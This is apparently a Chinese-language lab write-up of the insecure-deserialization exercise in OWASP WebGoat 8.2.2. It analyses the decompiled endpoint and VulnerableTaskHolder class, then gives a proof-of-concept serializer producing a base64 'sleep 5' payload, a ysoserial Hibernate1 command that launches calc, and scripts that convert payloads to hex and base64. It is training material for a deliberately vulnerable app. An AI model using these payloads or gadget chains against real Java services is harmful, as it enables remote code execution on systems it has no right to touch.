Java反序列化-WebGoat

源项目:webgoat-server-8.2.2(https://github.com/WebGoat/WebGoat/releases)

Jdk:>=15(11不行)

启动命令:

1
java -jar webgoat-server-8.2.2.jar

http://127.0.0.1:8080/WebGoat/login

image-20231112185914293

题目java文件:webgoat-server-8.2.2.jar 解包,webgoat-server-8.2.2/BOOT-INF/lib/insecure-deserialization-8.2.2.jar再次解包,org/org.owasp.webgoat.deserialization下的文件

分析源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
// InsecureDeserializationTask
package org.owasp.webgoat.deserialization;

import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.InvalidClassException;
import java.io.ObjectInputStream;
import java.util.Base64;
import org.dummy.insecure.framework.VulnerableTaskHolder;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentHints;
import org.owasp.webgoat.assignments.AttackResult;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;

@RestController
@AssignmentHints({"insecure-deserialization.hints.1", "insecure-deserialization.hints.2", "insecure-deserialization.hints.3"})
public class InsecureDeserializationTask extends AssignmentEndpoint {
public InsecureDeserializationTask() {
}

@PostMapping({"/InsecureDeserialization/task"})
@ResponseBody
public AttackResult completed(@RequestParam String token) throws IOException {
String b64token = token.replace('-', '+').replace('_', '/');

long before;
long after;
try {
label71: {
// base64解码,通过字节流反序列化对象
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(b64token)));

AttackResult var10;
label64: {
label63: {
try {
before = System.currentTimeMillis();
Object o = ois.readObject();
// 类必须是VulnerableTaskHolder
if (!(o instanceof VulnerableTaskHolder)) {
if (o instanceof String) {
var10 = this.failed(this).feedback("insecure-deserialization.stringobject").build();
break label64;
}

var10 = this.failed(this).feedback("insecure-deserialization.wrongobject").build();
break label63;
}

after = System.currentTimeMillis();
} catch (Throwable var12) {
try {
ois.close();
} catch (Throwable var11) {
var12.addSuppressed(var11);
}

throw var12;
}

ois.close();
break label71;
}

ois.close();
return var10;
}

ois.close();
return var10;
}
} catch (InvalidClassException var13) {
return this.failed(this).feedback("insecure-deserialization.invalidversion").build();
} catch (IllegalArgumentException var14) {
return this.failed(this).feedback("insecure-deserialization.expired").build();
} catch (Exception var15) {
return this.failed(this).feedback("insecure-deserialization.invalidversion").build();
}

int delay = (int)(after - before);
if (delay > 7000) {
return this.failed(this).build();
} else {
return delay < 3000 ? this.failed(this).build() : this.success(this).build();
}
}
}

这里需要Java序列化的类为VulnerableTaskHolder,跟进

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
// VulnerableTaskHolder

package org.dummy.insecure.framework;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.time.LocalDateTime;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;

public class VulnerableTaskHolder implements Serializable {
private static final Logger log = LoggerFactory.getLogger(VulnerableTaskHolder.class);
private static final long serialVersionUID = 2L;
private String taskName;
private String taskAction; // taskAction字符串
private LocalDateTime requestedExecutionTime;

public VulnerableTaskHolder(String taskName, String taskAction) {
this.taskName = taskName;
this.taskAction = taskAction;
this.requestedExecutionTime = LocalDateTime.now();
}

public String toString() {
return "VulnerableTaskHolder [taskName=" + this.taskName + ", taskAction=" + this.taskAction + ", requestedExecutionTime=" + this.requestedExecutionTime + "]";
}

// 重写了readObject
private void readObject(ObjectInputStream stream) throws Exception {
stream.defaultReadObject();
log.info("restoring task: {}", this.taskName);
log.info("restoring time: {}", this.requestedExecutionTime);
if (this.requestedExecutionTime != null && (this.requestedExecutionTime.isBefore(LocalDateTime.now().minusMinutes(10L)) || this.requestedExecutionTime.isAfter(LocalDateTime.now()))) {
log.debug(this.toString());
throw new IllegalArgumentException("outdated");
} else {
// taskAction满足以sleep或ping开头且长度小于22时,就会将taskAction中的内容以系统命令来执行
if ((this.taskAction.startsWith("sleep") || this.taskAction.startsWith("ping")) && this.taskAction.length() < 22) {
log.info("about to execute: {}", this.taskAction);
// 执行(Runtime)
try {
Process p = Runtime.getRuntime().exec(this.taskAction);
// 从进程的标准输出流中读取数据
BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line = null;
// 这个循环会逐行读取进程的标准输出,并将每一行打印到控制台
while((line = in.readLine()) != null) {
log.info(line);
}
} catch (IOException var5) {
log.error("IO Exception", var5);
}
}

}
}

}

编写POC

VulnerableTaskHolder中不需要的删掉

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// VulnerableTaskHolder
package org.dummy.insecure.framework;

import java.io.Serializable;
import java.time.LocalDateTime;

public class VulnerableTaskHolder implements Serializable {
private String taskName;
private String taskAction;
private LocalDateTime requestedExecutionTime;

public VulnerableTaskHolder(String taskName,String taskAction) {
this.taskName = taskName;
this.taskAction = taskAction;
this.requestedExecutionTime = LocalDateTime.now();
}
}

package需要相同,不然会造成Serializable ID不一致

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// poc
package org.dummy.insecure.framework;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.Base64;

public class poc {
public static void main(String[] args) throws IOException {
VulnerableTaskHolder vth = new VulnerableTaskHolder("sleep","sleep 5");

ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(vth);
oos.close();
byte[] exploit = baos.toByteArray();
String payload = Base64.getEncoder().encodeToString(exploit);
System.out.println("payload=" + payload);
}
}

ysoserial

hibernate-core-5.4.28.Final.jar

将文件 hibernate-core-5.4.28.Final.jar 放在和 ysoserial-all.jar 同一个目录,弹计算器

1
java8 -Dhibernate5 -cp hibernate-core-5.4.28.Final.jar;ysoserial-all.jar ysoserial.GeneratePayload Hibernate1 calc > poc.bin

装个多个Java版本,java8是修改了java执行文件名

bin转16进制和base64

python

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import base64


def out(file):
f = open(file, "rb").read()
print(file + ":" + "\n" + "16进制格式为:")
print(f.hex() + "\n")

f_b64 = base64.b64encode(f)
print("base64格式为:")
print(str(f_b64) + "\n")


if __name__ == '__main__':
out("poc.bin")

Java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;

public class FileConversion {
public static void main(String[] args) {
String filePath = "ser.txt";

try {
byte[] fileBytes = Files.readAllBytes(Paths.get(filePath));

String hexString = bytesToHex(fileBytes);
System.out.println(filePath + ":\n16进制格式为:\n" + hexString);

String base64String = Base64.getEncoder().encodeToString(fileBytes);
System.out.println("Base64格式为:\n" + base64String);
} catch (IOException e) {
e.printStackTrace();
}
}

private static String bytesToHex(byte[] bytes) {
StringBuilder hexString = new StringBuilder();
for (byte b : bytes) {
hexString.append(String.format("%02x", b));
}
return hexString.toString();
}
}
⬆︎TOP